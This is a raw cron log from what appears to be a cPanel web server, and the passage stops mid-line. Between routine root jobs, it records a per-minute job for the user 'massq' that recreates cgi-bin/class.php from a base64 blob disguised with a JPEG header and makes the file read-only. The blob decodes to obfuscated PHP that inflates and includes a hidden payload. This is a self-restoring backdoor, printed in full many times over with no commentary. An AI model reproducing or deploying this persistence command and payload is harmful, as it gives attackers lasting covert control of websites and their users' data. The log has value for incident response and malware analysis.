Apr 10 19:42:01 server CROND[28150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:42:01 server CROND[28151]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 19:43:01 server CROND[28206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:44:01 server CROND[28262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:45:01 server CROND[28431]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 19:45:01 server CROND[28433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 19:45:01 server CROND[28432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:46:01 server CROND[28555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:47:01 server CROND[28670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:48:01 server CROND[28731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:49:01 server CROND[28811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:50:01 server CROND[28983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 19:50:01 server CROND[28984]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 19:50:01 server CROND[28986]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 19:50:01 server CROND[28987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:50:01 server CROND[28988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 19:51:01 server CROND[29111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:52:01 server CROND[29168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:53:01 server CROND[29227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:54:01 server CROND[29286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:55:01 server CROND[29355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU